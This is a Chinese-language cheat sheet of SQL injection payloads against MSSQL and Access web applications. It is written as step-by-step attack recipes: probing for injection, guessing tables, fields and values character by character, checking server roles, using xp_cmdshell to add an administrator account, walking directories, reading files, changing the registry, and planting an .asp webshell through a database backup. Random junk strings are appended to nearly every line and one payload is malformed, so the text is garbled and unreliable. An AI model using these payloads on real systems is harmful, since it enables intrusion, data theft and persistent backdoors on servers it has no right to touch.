1.判断是否有注入;and 1=1 ;and 1=2 2=?tJ2E
2.初步判断是否是mssql ;and user>0 |AlR^N
$?,a[79
3.注入参数是字符'and [查询条件] and ''=' Tirux ;
Xh J,"=E+
4.搜索时没过滤参数的'and [查询条件] and '%25'=' nR4y`oP+
K"<PGOF
5.判断数据库系统 f84:hXo6
,uzN4_7u
;and (select count(*) from sysobjects)>0 mssql *. 3N=EO
fzjU<?}
;and (select count(*) from msysobjects)>0 access Ku&!?m@C
`/Nm
2K
K1V#cB
WO
{;2vmx9
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ]"c+sMW
h^
-.]Y
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 2+Px'U\
jBaB@LO9G
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 !*2%"H*
dd?x(,"A`
9.(1)猜字段的ascii值(access) 0y&I/2
8/z3=O&
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 SuZ&vqS
Z):n c% S
(2)猜字段的ascii值(mssql) R3k1RE2c&g
kNu'AT#3|
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 `h}q
Eo`
9N%JP+<89
10.测试权限结构(mssql) H
_Va"yTO6
nhG
J
"O8gJ0e
IVlf=k
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- )
'j:
+UJuB
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- _C\[DR0n
=)O,`.M.Y
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ogFKUD*h&>
x{NX8lN
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- z} '! eCl
*m%]zj0bo
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- $+}+zZX5
h7s;m
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- [ofqGwpDG
nW"q
;and 1=(select IS_MEMBER('db_owner'));-- y*{Zbz#{
Rl|4S[
[i0Hm)Bd3
k%y9aO
11.添加mssql和系统的帐户 ?PTk1sB
3]-_q"Co4f
;exec master.dbo.sp_addlogin username;-- `nUO l
;exec master.dbo.sp_password null,username,password;-- l"n{.aL
>;z<j$;F<
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- iCP/P%
CE15pNss
;exec master.dbo.xp_cmdshell 'net user username password +i\&6HGK;-
^\B:R,
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- Bx[rC
?^:h\C^a"
;exec master.dbo.xp_cmdshell 'net user username password /add';-- b;|55Y
VL9-NfeqR
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- LJX-AO.4
:Q+5,v-c
iut`7
5>J=YLq
12.(1)遍历目录 U|G|l|Bl
c:83LZ
;create table dirs(paths varchar(100), id int) BQ^H? jo
W&h[p_0
;insert dirs exec master.dbo.xp_dirtree 'c:\' QrApxiw
&;LqF#ZL
;and (select top 1 paths from dirs)>0 `P Xz
wOB azWa
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ,2oF:H
R~bC,`Bh
,n!vsIN
a:~@CUD
>I
(2)遍历目录 _w@qr\4i=
"QoQ4r<|
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 3cj3u4y
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 SPj><5Ro
{;2i.m1
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 )o!XWh
5=(c%
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ozsxXBh-`'
z}SND9-"
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 PLM _#+R>
1
4LI5T
$o@R^sJ
+Taa!hfys
13.mssql中的存储过程 R E1/"[t
9iN.3/T8
xp_regenumvalues 注册表根键, 子键 HG/p$L*
=TR,~8Z|
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 w",?
Bef
G
;?qWB,
xp_regread 根键,子键,键值名
Lw1T 4n
4Z[V uQng
;exec xp_regread K[
.JlIP
,n2i@?NHZ
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 -#-p1^v}
4!`bZ`_Bw
xp_regwrite 根键,子键, 值名, 值类型, 值 \EbbkN:D
#G9 adK5
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 57F%j3.|/
Z?MoJ{.!?R
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 /R
X1UQ.s
O!D/|.Q#%
xp_regdeletevalue 根键,子键,值名 u%2<\:~j
]L2Oz
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 elJ)4Em
y0v]N
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Oc9#e+_&
Ct$82J
P+e KZo
"a1O01n
14.mssql的backup创建webshell c*\<,n_
jdevat,&u
use model "rXOsX\;
mxrG)n6Y
create table cmd(str image); jW*1E*"
3l!NG=R
insert into cmd(str) values (''); ,KW;2t*IQ@
E]^5I3=O
backup database model to disk='c:\l.asp'; YHxbDf dA
"oJ(J{Jat
B7NtkMK
vnX
15.mssql内置函数 ;mm!0]V
%@&a7JOL
;and (select @@version)>0 获得Windows的版本号 i~=s^8n`l
~QG?k
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ']51jabm
[2$4| ;7
;and (select user_name())>0 爆当前系统的连接用户 "i'bTVs
c $;\i
;and (select db_name())>0 得到当前连接的数据库 p|6v~
cErI%v}v0
aP~gaSx
kL{;.WsB
16.简洁的webshell vg%QXaM
v<rF'D2
use model ?z` MPdO
^,s?e.u$8`
create table cmd(str image); [p;*r)f2}
f|0lj
insert into cmd(str) values (''); ol!86rky
Q49BU@xX
backup database model to disk='g:\wwwtest\l.asp';